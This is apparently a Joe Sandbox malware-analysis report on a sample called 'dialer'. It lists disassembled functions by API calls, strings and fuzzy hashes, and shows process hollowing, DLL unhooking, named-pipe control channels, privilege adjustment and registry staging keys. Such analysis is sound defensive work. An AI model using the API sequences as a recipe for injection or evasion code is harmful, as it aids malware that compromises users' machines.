Instruction Fuzzy Hash: 40B138B260468186EB26DF27F8947E927A9FB8CBC4F404125AF4A477B4EF38C645C740

Function 00000001400014D8 Relevance: 19.6, APIs: 13, Instructions: 130
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000000014000150B
HeapAlloc.KERNEL32 ref: 000000014000151E
GetProcessHeap.KERNEL32 ref: 000000014000152C
HeapAlloc.KERNEL32 ref: 000000014000153D
K32EnumProcesses.KERNEL32 ref: 0000000140001557
OpenProcess.KERNEL32 ref: 0000000140001585
K32EnumProcessModules.KERNEL32 ref: 00000001400015AA
ReadProcessMemory.KERNELBASE ref: 00000001400015E1
CloseHandle.KERNELBASE ref: 000000014000161D
GetProcessHeap.KERNEL32 ref: 000000014000162F
RtlFreeHeap.NTDLL ref: 000000014000163D
GetProcessHeap.KERNEL32 ref: 0000000140001643
RtlFreeHeap.NTDLL ref: 0000000140001651

Memory Dump Source

Source File: 0000000E.00000002.2156327099.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.2156255918.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156371659.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156447226.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dialer.jbxd

Similarity

API ID: Heap$Process$AllocEnumFree$CloseHandleMemoryModulesOpenProcessesRead
String ID:
API String ID: 4084875642-0
Opcode ID: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
Instruction ID: 4858e5a3d965c592fcd1f5951e26bd94c88d4916acf90710a0b336d1aa1e032e
Opcode Fuzzy Hash: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
Instruction Fuzzy Hash: E6519DB2711A819AEB66CF63E8587EA22A5F78DBC4F444025EF4947764DF38C545C700

Function 0000000140001B54 Relevance: 9.1, APIs: 6, Instructions: 82
memorypipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
LocalAlloc.KERNEL32 ref: 0000000140001BFB
InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Memory Dump Source

Source File: 0000000E.00000002.2156327099.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.2156255918.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156371659.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156447226.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dialer.jbxd

Similarity

API ID: DescriptorInitializeSecurity$AllocAllocateCreateDaclEntriesLocalNamedPipe
String ID:
API String ID: 3197395349-0
Opcode ID: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
Instruction ID: 21eaad2a8fcaa81d39f01622d1c01d05a8059e075f91819b3ade9b41c51f013a
Opcode Fuzzy Hash: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
Instruction Fuzzy Hash: FA318D72215691CAE761CF25F490BDE77A5F748B98F40521AFB4947FA8EB78C208CB40

Function 00000001400017EC Relevance: 9.1, APIs: 6, Instructions: 55
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001801
HeapAlloc.KERNEL32(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001812

Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000150B
Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000151E
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000152C
Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000153D
Part of subcall function 00000001400014D8: K32EnumProcesses.KERNEL32 ref: 0000000140001557
Part of subcall function 00000001400014D8: OpenProcess.KERNEL32 ref: 0000000140001585
Part of subcall function 00000001400014D8: K32EnumProcessModules.KERNEL32 ref: 00000001400015AA
Part of subcall function 00000001400014D8: ReadProcessMemory.KERNELBASE ref: 00000001400015E1
Part of subcall function 00000001400014D8: CloseHandle.KERNELBASE ref: 000000014000161D
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000162F
Part of subcall function 00000001400014D8: RtlFreeHeap.NTDLL ref: 000000014000163D
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 0000000140001643
Part of subcall function 00000001400014D8: RtlFreeHeap.NTDLL ref: 0000000140001651

OpenProcess.KERNEL32 ref: 0000000140001859
TerminateProcess.KERNEL32 ref: 000000014000186C
CloseHandle.KERNEL32 ref: 0000000140001875
GetProcessHeap.KERNEL32 ref: 0000000140001885

Memory Dump Source

Source File: 0000000E.00000002.2156327099.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.2156255918.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156371659.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156447226.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dialer.jbxd

Similarity

API ID: HeapProcess$Alloc$CloseEnumFreeHandleOpen$MemoryModulesProcessesReadTerminate
String ID:
API String ID: 1323846700-0
Opcode ID: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
Instruction ID: e8e8f15008253283e0d5a10c8ea57e573901c1344bffe788f1ea91b5e390c365
Opcode Fuzzy Hash: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
Instruction Fuzzy Hash: C8115BB1B05A4186FB1ADF27F8443D966A6ABCDBC4F188038EF09037B5DE38C5868700

Function 0000000140001F2C Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 124
filememorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCpyW.SHLWAPI ref: 0000000140001F5D
StrCatW.SHLWAPI ref: 0000000140001F6B
GetModuleHandleW.KERNEL32 ref: 0000000140001F74
GetCurrentProcess.KERNEL32 ref: 0000000140001F94
K32GetModuleInformation.KERNEL32 ref: 0000000140001FA8
CreateFileW.KERNELBASE ref: 0000000140001FD8
CreateFileMappingW.KERNELBASE ref: 0000000140002002
MapViewOfFile.KERNELBASE ref: 0000000140002025
lstrcmpiA.KERNEL32 ref: 000000014000207B
VirtualProtect.KERNELBASE ref: 00000001400020AE
VirtualProtect.KERNELBASE ref: 00000001400020DE
CloseHandle.KERNELBASE ref: 00000001400020E7
CloseHandle.KERNEL32 ref: 00000001400020F0
FreeLibrary.KERNEL32 ref: 00000001400020F9

Strings

C:\Windows\System32\, xrefs: 0000000140001F4F
.text, xrefs: 0000000140002074

Memory Dump Source

Source File: 0000000E.00000002.2156327099.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.2156255918.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156371659.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156447226.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dialer.jbxd

Similarity

API ID: FileHandle$CloseCreateModuleProtectVirtual$CurrentFreeInformationLibraryMappingProcessViewlstrcmpi
String ID: .text$C:\Windows\System32\
API String ID: 2721474350-832442975
Opcode ID: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
Instruction ID: 0b364bd3c89a37fdd3fa7b369e4888cbeb1e5b170dc00cf86e963973e9165d3d
Opcode Fuzzy Hash: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
Instruction Fuzzy Hash: CC518BB2204B8096EB62CF16F8587DAB3A5F78CBD4F444525AF4A03B68DF38C549C700

Function 0000000140002BF8 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40
sleepfilepipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001B54: AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
Part of subcall function 0000000140001B54: SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
Part of subcall function 0000000140001B54: LocalAlloc.KERNEL32 ref: 0000000140001BFB
Part of subcall function 0000000140001B54: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
Part of subcall function 0000000140001B54: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
Part of subcall function 0000000140001B54: CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Sleep.KERNEL32 ref: 0000000140002C1D
ConnectNamedPipe.KERNELBASE ref: 0000000140002C2A
ReadFile.KERNEL32 ref: 0000000140002C4D
WriteFile.KERNEL32 ref: 0000000140002C7B
Sleep.KERNEL32 ref: 0000000140002C88
DisconnectNamedPipe.KERNEL32 ref: 0000000140002C91

Strings

M, xrefs: 0000000140002C6E
\\.\pipe\dialerchildproc64, xrefs: 0000000140002C05

Memory Dump Source

Source File: 0000000E.00000002.2156327099.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.2156255918.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156371659.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156447226.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorFileInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesLocalReadWrite
String ID: M$\\.\pipe\dialerchildproc64
API String ID: 2203880229-3489460547
Opcode ID: cb78decc689e444f168c8ecd1fa7ab696948f8a3ff5b9be1a13ae3c23ba91d6c
Instruction ID: 6dc3dc8c0bd617ca7cbe615ebfcb02ed857a87361961821bc60a1768ee808972
Opcode Fuzzy Hash: cb78decc689e444f168c8ecd1fa7ab696948f8a3ff5b9be1a13ae3c23ba91d6c
Instruction Fuzzy Hash: C01139B1218A8492F716DB22F8047EE6764A78DBE0F444225BB66036F4DF7CC548C700

Function 00000001400021D0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36
sleeppipefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001B54: AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
Part of subcall function 0000000140001B54: SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
Part of subcall function 0000000140001B54: LocalAlloc.KERNEL32 ref: 0000000140001BFB
Part of subcall function 0000000140001B54: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
Part of subcall function 0000000140001B54: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
Part of subcall function 0000000140001B54: CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Sleep.KERNEL32 ref: 00000001400021F5
ConnectNamedPipe.KERNELBASE ref: 0000000140002202
ReadFile.KERNEL32 ref: 0000000140002225
Sleep.KERNEL32 ref: 0000000140002246
DisconnectNamedPipe.KERNEL32 ref: 000000014000224F

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 00000001400021DD

Memory Dump Source

Source File: 0000000E.00000002.2156327099.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.2156255918.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156371659.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156447226.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesFileLocalRead
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 2071455217-3440882674
Opcode ID: 0eadeefac485689016ee7cb8901f6413b977b23d4cbf2cacf1e5db6f82192be8
Instruction ID: d66e41e89491d3fe39127ed5f8ff24c46c9ecc4af95d447005e5476a51c55f6d
Opcode Fuzzy Hash: 0eadeefac485689016ee7cb8901f6413b977b23d4cbf2cacf1e5db6f82192be8
Instruction Fuzzy Hash: 42014BB1204A40A2EA17EB63F8443E9B365A79DBE0F144235FB66476F4DF78C488C700

Function 0000000140002B38 Relevance: 9.1, APIs: 6, Instructions: 58
memorysleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140002B53
HeapAlloc.KERNEL32 ref: 0000000140002B67
GetProcessHeap.KERNEL32 ref: 0000000140002B70
HeapAlloc.KERNEL32 ref: 0000000140002B7E
K32EnumProcesses.KERNEL32 ref: 0000000140002B99
Sleep.KERNEL32 ref: 0000000140002BEE

Memory Dump Source

Source File: 0000000E.00000002.2156327099.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.2156255918.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156371659.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156447226.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dialer.jbxd

Similarity

API ID: Heap$AllocProcess$EnumProcessesSleep
String ID:
API String ID: 3676546796-0
Opcode ID: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
Instruction ID: 9c67988e037e7d22bad9650836966df18df348572cafe7f0e6f30b42da554bff
Opcode Fuzzy Hash: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
Instruction Fuzzy Hash: 3A115CB26006518AE72ACF17F85579A77A6F78DBC1F154028EB4607B68CF39D881CB40

Function 00000001400018AC Relevance: 4.5, APIs: 3, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

Memory Dump Source

Source File: 0000000E.00000002.2156327099.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.2156255918.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156371659.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156447226.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dialer.jbxd

Similarity

API ID: Process$CloseHandleOpenWow64
String ID:
API String ID: 10462204-0
Opcode ID: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
Instruction ID: a864651f2e5c17a125c4a55b2f5ca9b47fcd1256b8d640ad9fe9232b2a40a049
Opcode Fuzzy Hash: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
Instruction Fuzzy Hash: 77F01D7170578192EB56CF17B584399A665E78CBC0F449039EB8943768DF39C4858700

Function 0000000140002258 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000228F
Part of subcall function 000000014000226C: OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000229F
Part of subcall function 000000014000226C: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 00000001400022B9
Part of subcall function 000000014000226C: LookupPrivilegeValueW.ADVAPI32 ref: 00000001400022D0
Part of subcall function 000000014000226C: AdjustTokenPrivileges.KERNELBASE ref: 0000000140002308
Part of subcall function 000000014000226C: GetLastError.KERNEL32 ref: 0000000140002312
Part of subcall function 000000014000226C: CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000231B
Part of subcall function 000000014000226C: FindResourceExA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000232F
Part of subcall function 000000014000226C: SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002346
Part of subcall function 000000014000226C: LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000235F
Part of subcall function 000000014000226C: LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002371
Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000237E
Part of subcall function 000000014000226C: RegCreateKeyExW.KERNELBASE ref: 00000001400023BE
Part of subcall function 000000014000226C: ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400023E5
Part of subcall function 000000014000226C: RegSetKeySecurity.KERNELBASE ref: 00000001400023FE
Part of subcall function 000000014000226C: LocalFree.KERNEL32 ref: 0000000140002408

ExitProcess.KERNEL32 ref: 0000000140002263

Memory Dump Source

Source File: 0000000E.00000002.2156327099.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.2156255918.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156371659.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156447226.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dialer.jbxd

Similarity

API ID: Process$Resource$Security$CurrentDescriptorOpenToken$AdjustCloseConvertCreateErrorExitFindFreeHandleLastLoadLocalLockLookupPrivilegePrivilegesSizeofStringValue
String ID:
API String ID: 3836936051-0
Opcode ID: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
Instruction ID: 542f07df19912b07f19d0c3647b83d0aa38d4f887fbb8c9b09a79fc57a6ac5cd
Opcode Fuzzy Hash: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
Instruction Fuzzy Hash: 84A002B1F1794096FA0BB7F7785E3DC21656B9CB82F500415B242472B2DD3C44558716

Non-executed Functions

Function 0000000140002560 Relevance: 47.5, APIs: 24, Strings: 3, Instructions: 296
memoryregistryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32 ref: 00000001400025E7

Part of subcall function 00000001400018AC: OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
Part of subcall function 00000001400018AC: IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
Part of subcall function 00000001400018AC: CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

Part of subcall function 00000001400010C0: OpenProcess.KERNEL32 ref: 000000014000112C
Part of subcall function 00000001400010C0: OpenProcess.KERNEL32 ref: 000000014000114B
Part of subcall function 00000001400010C0: K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001170
Part of subcall function 00000001400010C0: PathFindFileNameW.SHLWAPI ref: 000000014000117E
Part of subcall function 00000001400010C0: lstrlenW.KERNEL32 ref: 000000014000118A
Part of subcall function 00000001400010C0: StrCpyW.SHLWAPI ref: 00000001400011A1
Part of subcall function 00000001400010C0: CloseHandle.KERNEL32 ref: 00000001400011AD
Part of subcall function 00000001400010C0: StrCmpIW.SHLWAPI ref: 00000001400011E2
Part of subcall function 00000001400010C0: NtQueryInformationProcess.NTDLL ref: 0000000140001216
Part of subcall function 00000001400010C0: OpenProcessToken.ADVAPI32 ref: 0000000140001240

RegOpenKeyExW.ADVAPI32 ref: 0000000140002683
RegDeleteValueW.ADVAPI32 ref: 000000014000269B
ExitProcess.KERNEL32 ref: 00000001400026BF
GetProcessHeap.KERNEL32 ref: 00000001400026C6
HeapAlloc.KERNEL32 ref: 00000001400026D9
K32EnumProcesses.KERNEL32 ref: 00000001400026F6
ExitProcess.KERNEL32 ref: 0000000140002796

Strings

SOFTWARE, xrefs: 0000000140002675
open, xrefs: 0000000140002960
dialerstager, xrefs: 0000000140002694

Memory Dump Source

Source File: 0000000E.00000002.2156327099.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.2156255918.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156371659.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156447226.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dialer.jbxd

Similarity

API ID: Process$Open$File$CloseExitHandleHeapName$AllocDeleteEnumFindInformationModulePathProcessesQueryReadTokenValueWow64lstrlen
String ID: SOFTWARE$dialerstager$open
API String ID: 3276259517-3931493855
Opcode ID: 3c799c4d4b717077f969037001029e391788172767dfb7e3a3364a0c1608c947
Instruction ID: ae65b9042581f7dc9e2ee581e3d1b52dcddb088aa692a5b8ad70e1a65f9de3a1
Opcode Fuzzy Hash: 3c799c4d4b717077f969037001029e391788172767dfb7e3a3364a0c1608c947
Instruction Fuzzy Hash: 91D14DB13046818BEB7BDF26B8143E92269F74DBC8F404125BB4A47AB9DE78C605C741

Function 0000000140001C88 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 154
injectionthreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32 ref: 0000000140001D1D
VirtualAllocEx.KERNEL32 ref: 0000000140001D4C
WriteProcessMemory.KERNEL32 ref: 0000000140001D73
WriteProcessMemory.KERNEL32 ref: 0000000140001DB2
VirtualAlloc.KERNEL32 ref: 0000000140001DE3
GetThreadContext.KERNEL32 ref: 0000000140001DFF
WriteProcessMemory.KERNEL32 ref: 0000000140001E26
SetThreadContext.KERNEL32 ref: 0000000140001E44
ResumeThread.KERNEL32 ref: 0000000140001E52
OpenProcess.KERNEL32 ref: 0000000140001E6A
TerminateProcess.KERNEL32 ref: 0000000140001E7D

Strings

@, xrefs: 0000000140001D44

Memory Dump Source

Source File: 0000000E.00000002.2156327099.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.2156255918.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156371659.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156447226.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dialer.jbxd

Similarity

API ID: Process$MemoryThreadWrite$AllocContextVirtual$CreateOpenResumeTerminate
String ID: @
API String ID: 3462610200-2766056989
Opcode ID: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
Instruction ID: 5c16bc39e07cf5e776479c29415d8ab36f8b64b080a4e80c067f24e51f003d21
Opcode Fuzzy Hash: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
Instruction Fuzzy Hash: B55122B2700A808AEB52CF66E8447DE77A5FB88BD8F054125EF4997B68DF38C855C700

Function 00000001400019C4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 102
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 00000001400019E6
SysAllocString.OLEAUT32 ref: 00000001400019F6
CoInitializeEx.OLE32 ref: 0000000140001A03
CoInitializeSecurity.OLE32 ref: 0000000140001A3A
CoCreateInstance.OLE32 ref: 0000000140001A7A
VariantInit.OLEAUT32 ref: 0000000140001A8C
CoUninitialize.OLE32 ref: 0000000140001B26
SysFreeString.OLEAUT32 ref: 0000000140001B2F
SysFreeString.OLEAUT32 ref: 0000000140001B38

Strings

dialersvc64, xrefs: 00000001400019DD

Memory Dump Source

Source File: 0000000E.00000002.2156327099.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.2156255918.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156371659.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156447226.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dialer.jbxd

Similarity

API ID: String$AllocFreeInitialize$CreateInitInstanceSecurityUninitializeVariant
String ID: dialersvc64
API String ID: 4184240511-3881820561
Opcode ID: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
Instruction ID: f04b9e4fe08d72b668f3c34f73b3c63bb96ebc933f76805d9c48aa5d26f439e8
Opcode Fuzzy Hash: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
Instruction Fuzzy Hash: 69415A72704A819AE712CF6AE8543DD73B5FB89B89F044125EF4E47A64DF38D149C300

Function 0000000140001000 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 37registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 0000000140001034
RegDeleteKeyW.ADVAPI32 ref: 0000000140001045
RegEnumKeyExW.ADVAPI32 ref: 0000000140001082
RegCloseKey.ADVAPI32 ref: 0000000140001093
RegDeleteKeyExW.ADVAPI32 ref: 00000001400010B0

Strings

SOFTWARE\dialerconfig, xrefs: 0000000140001026, 000000014000109C

Memory Dump Source

Source File: 0000000E.00000002.2156327099.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.2156255918.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156371659.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156447226.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dialer.jbxd

Similarity

API ID: Delete$CloseEnumOpen
String ID: SOFTWARE\dialerconfig
API String ID: 3013565938-461861421
Opcode ID: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
Instruction ID: 8f4ace04a6ff3505bb025a84b088d585f414f6eddbaae7ea6d4a7c6b6057ac94
Opcode Fuzzy Hash: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
Instruction Fuzzy Hash: 2F1186B2714A8486E762CF26F8557E92378F78C7D8F404215A74D0BAA8DF7CC248CB54

Function 0000000140002A90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 0000000140002ACB
WriteFile.KERNEL32 ref: 0000000140002AF3
WriteFile.KERNEL32 ref: 0000000140002B16
CloseHandle.KERNEL32 ref: 0000000140002B1F

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 0000000140002AA8

Memory Dump Source

Source File: 0000000E.00000002.2156327099.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.2156255918.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156371659.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156447226.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dialer.jbxd

Similarity

API ID: File$Write$CloseCreateHandle
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 148219782-3440882674
Opcode ID: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
Instruction ID: c657f3a7a6ba8077c0f3fca19c98ae9a251d12aa6ce49f65425284bb78429f7a
Opcode Fuzzy Hash: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
